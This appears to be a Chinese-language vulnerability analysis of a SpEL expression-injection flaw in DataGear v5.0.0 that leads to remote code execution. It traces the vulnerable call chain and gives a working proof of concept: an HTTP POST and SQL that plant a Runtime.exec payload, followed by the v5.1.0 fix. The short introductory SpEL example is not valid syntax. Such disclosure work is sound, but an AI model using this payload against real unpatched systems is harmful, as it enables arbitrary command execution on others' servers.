DataGear 是一款开源免费的数据可视化分析平台,允许用户自由制作数据看板,支持接入 SQL、CSV、Excel、HTTP 接口、JSON 等多种数据源。
DataGear v5.0.0 存在 SpEL 表达式注入漏洞,可导致远程代码执行。
v5.0.0 及其以下版本
SpEL(Spring Expression Language)表达式漏洞主要源于其作为动态语言的特性,具有强大的表达式解析和执行能力,能够访问 Java 类的属性、方法和构造函数。
例如,假设系统直接将用户输入作为 SpEL 表达式解析:
ExpressionParser parser = new SpelExpressionParser();
String userInput = "#{'calc.exe'.execute()}"; // 用户输入
Expression expression = parser.parseExpression(userInput);
expression.getValue();
在这个示例中,攻击者的输入被直接执行,启动了系统计算器。
在 org.datagear.persistence.support.ConversionSqlParamValueMapper#evaluateVariableExpression 方法中,存在 org.springframework.expression.common.TemplateAwareExpressionParser#parseExpression(java.lang.String) 的调用。
如果其中的参数 expression 可控,这个漏洞点就可能被利用。接下来需要找出调用 evaluateVariableExpression 的地方。
org.datagear.web.controller.DataController#view
org.datagear.persistence.support.DefaultPersistenceManager#get(java.sql.Connection, org.datagear.persistence.Dialect, org.datagear.meta.Table, org.datagear.persistence.Row, org.datagear.persistence.SqlParamValueMapper, org.datagear.persistence.RowMapper)
org.datagear.persistence.support.DefaultPersistenceManager#buildUniqueRecordCondition
org.datagear.persistence.support.DefaultPersistenceManager#mapToSqlParamValue
org.datagear.persistence.support.ConversionSqlParamValueMapper#map
org.datagear.persistence.support.ConversionSqlParamValueMapper#resolveExpressionIf
org.datagear.persistence.support.ConversionSqlParamValueMapper#evaluateVariableExpressions
org.datagear.web.controller.DataController#view 是查看数据库表中一条记录的入口方法。其逻辑是根据传入的参数查询表,即 SELECT * FROM table WHERE paramName = paramValue。
但在构造这个 SQL 查询语句时,会对 paramValue 进行处理。它会根据是否包含 "#{" 等特殊字符来判断是否为表达式。如果是表达式,就会进行计算后再拼接到 SQL 中。(这个逻辑在 org.datagear.persistence.support.ConversionSqlParamValueMapper#resolveExpressionIf 中)此外,还需要 ConversionSqlParamValueMapper 启用变量表达式特性。
构造的恶意数据库(具体见漏洞复现)就是利用这个逻辑,传入参数 {"name":"#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}"}。其中的 #{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')} 符合表达式形式,会进入 parseExpression 进行计算,从而触发命令执行。
POST /data/fed0bed85191b258c9c8/evil/view?ppid=pidm0vxis38 HTTP/1.1
Host: 127.0.0.1:50401
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:130.0) Gecko/20100101 Firefox/130.0
Accept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/json
X-Requested-With: XMLHttpRequest
Content-Length: 88
Origin: <http://127.0.0.1:50401>
Connection: close
Referer: <http://127.0.0.1:50401/>
Cookie: DG_USER_ID_ANONYMOUS=7aab7631c38145688b7254e7e4a43b41; DG_DETECTED_VERSION=5.1.0; JSESSIONID=D71B9A3CCC7BFE511DB3CB8276AE2F93; DG_DETECT_NEW_VERSION_RESOLVED=true
Sec-Fetch-Dest: empty
Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
Priority: u=0
{"name":"#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}"}
地址:datageartech/datagear: DataGear数据可视化分析平台,自由制作任何您想要的数据看板 (github.com)
项目是典型的 Spring Boot 项目。在 IDE 中打开项目,使用 Maven 编译,运行 org.datagear.webapp.DataGearApplication 即可启动。
项目启动后访问地址:http://localhost:50401
CREATE DATABASE evil;
CREATE TABLE `evil` (
`name` varchar(209) COLLATE utf8mb4_unicode_ci DEFAULT NULL
) ENGINE=InnoDB DEFAULT CHARSET=utf8mb4 COLLATE=utf8mb4_unicode_ci;
INSERT INTO `evil` VALUES ("#{T(java.lang.String).forName('java.lang.Runtime').getRuntime().exec('calc')}");
/schema/saveAdd
。打开刚才添加的数据库,然后单击"查看"按钮,将执行 SpEL 表达式。
DataGear 在 v5.1.0 中修复了这个漏洞。
修复方案利用了前面提到的 ConversionSqlParamValueMapper 中的变量表达式特性。新的逻辑直接关闭了这个特性,全部按照字符串处理,不再对表达式进行解析。
SpEL 表达式漏洞较为常见。建议根据系统功能决定是否开放 SpEL 解析功能,或使用 SimpleEvaluationContext 来限制可执行注入的 SpEL 表达式。
1 篇文章
如果觉得我的文章对您有用,请随意打赏。你的支持将鼓励我继续创作!